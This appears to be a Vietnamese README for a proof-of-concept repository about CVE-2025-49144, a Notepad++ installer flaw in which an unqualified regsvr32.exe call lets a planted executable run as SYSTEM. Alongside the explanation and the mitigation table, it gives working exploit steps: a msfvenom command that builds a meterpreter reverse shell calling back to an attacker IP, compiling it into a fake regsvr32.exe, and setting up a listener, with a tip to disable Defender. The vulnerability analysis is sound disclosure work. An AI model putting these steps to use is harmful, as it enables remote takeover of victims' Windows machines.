Giới thiệu
CVE-2025-49144 là một lỗ hổng leo thang đặc quyền nguy hiểm, ảnh hưởng đến trình cài đặt Notepad++ phiên bản 8.8.1 trở về trước. Lỗ hổng này cho phép kẻ tấn công thực thi mã độc với quyền SYSTEM – quyền cao nhất trên hệ điều hành Windows – thông qua một sơ suất phổ biến: sử dụng chương trình mà không chỉ định đường dẫn tuyệt đối, từ đó bị lợi dụng bởi cơ chế tìm kiếm file của Windows.
Phân tích chi tiết cách thức hoạt động của lỗ hổng
1. Sai sót trong trình cài đặt
Trình cài đặt Notepad++ (trước v8.8.2) dùng lệnh sau để đăng ký thành phần cần thiết:
regsvr32.exe some_dll
Điểm cần chú ý là lệnh này không chỉ rõ đường dẫn tuyệt đối đến regsvr32.exe (lẽ ra phải là C:\Windows\System32\regsvr32.exe). Điều này khiến Windows áp dụng quy tắc tìm kiếm mặc định của mình để xác định chương trình thực thi.
2. Cơ chế tìm kiếm file thực thi trên Windows
Khi Windows được yêu cầu chạy một file thực thi mà không có đường dẫn tuyệt đối, nó sẽ tìm kiếm theo thứ tự sau:
| Thứ tự | Vị trí kiểm tra |
|---|---|
| 1 | Thư mục chứa file vừa được mở/chạy (vd: Downloads) |
| 2 | System32 |
| 3 | Windows |
| 4 | Thư mục hiện hành |
| 5 | Các thư mục trong biến môi trường PATH |
Như vậy, nếu có một file giả mạo regsvr32.exe đặt cùng thư mục với bộ cài, Windows sẽ ưu tiên thực thi file đó thay vì file gốc trong System32.
3. Kỹ thuật khai thác (Exploitation)
Quy trình khai thác gồm các bước:
- Kẻ tấn công tạo một file độc hại tên là
regsvr32.exeđặt cùng thư mục với bộ cài Notepad++ (ví dụ trong Downloads). - Nạn nhân tải về và chạy trình cài đặt Notepad++.
- Trình cài đặt gọi regsvr32.exe nhưng lại chạy file độc hại (vì ưu tiên thư mục hiện tại).
- File độc hại này được thực thi với quyền SYSTEM, cho phép kẻ tấn công chiếm toàn quyền kiểm soát máy.
Hình minh họa quy trình khai thác:

Hướng dẫn tái hiện khai thác (PoC)
Các bước triển khai PoC như sau:
-
Tạo shellcode (ví dụ reverse shell bằng msfvenom):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f c > shellcode.txt -
Tải và chỉnh sửa file
regsvr32_loader.c, dán shellcode vừa tạo vào vị trí thích hợp. -
Biên dịch thành file thực thi
regsvr32.exe:x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows -
Triển khai listener trên máy tấn công:
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST <your-ip> set LPORT 4444 run -
Tải phiên bản Notepad++ dễ bị tấn công (trước 8.8.1), ví dụ v8.6.8.
-
Đặt
regsvr32.exegiả mạo vào cùng thư mục với bộ cài Notepad++. -
Chạy bộ cài để kích hoạt mã độc.
Lưu ý: Thí nghiệm nên thực hiện với Defender/và các biện pháp bảo vệ thời gian thực đã tắt.
Biện pháp khắc phục
| Đối tượng | Khuyến nghị |
|---|---|
| Người dùng & Quản trị viên |
|
| Security Team |
|
Bản quyền & Điều khoản
- Mã PoC phát hành theo MIT License – chỉ sử dụng cho mục đích nghiên cứu, phòng thủ, giáo dục.
- Tác giả không chịu trách nhiệm cho bất kỳ lạm dụng hay thiệt hại nào phát sinh.
Đóng góp & liên hệ
- Mọi đóng góp về phát hiện, tính năng mới, hoặc bản vá đều được khuyến khích thông qua Pull Request.
Tổng kết
CVE-2025-49144 là ví dụ điển hình cho vấn đề bảo mật phát sinh từ thói quen lập trình chủ quan với đường dẫn file thực thi. Lỗ hổng này tuy kỹ thuật đơn giản nhưng hậu quả nghiêm trọng, đặc biệt khi bị kết hợp với hành vi tải phần mềm từ nguồn không tin cậy. Người dùng và quản trị viên cần luôn cảnh giác, cập nhật phần mềm và áp dụng các biện pháp kiểm soát thực thi chặt chẽ.
Source link: TheTorjanCaptain/CVE-2025-49144_PoC






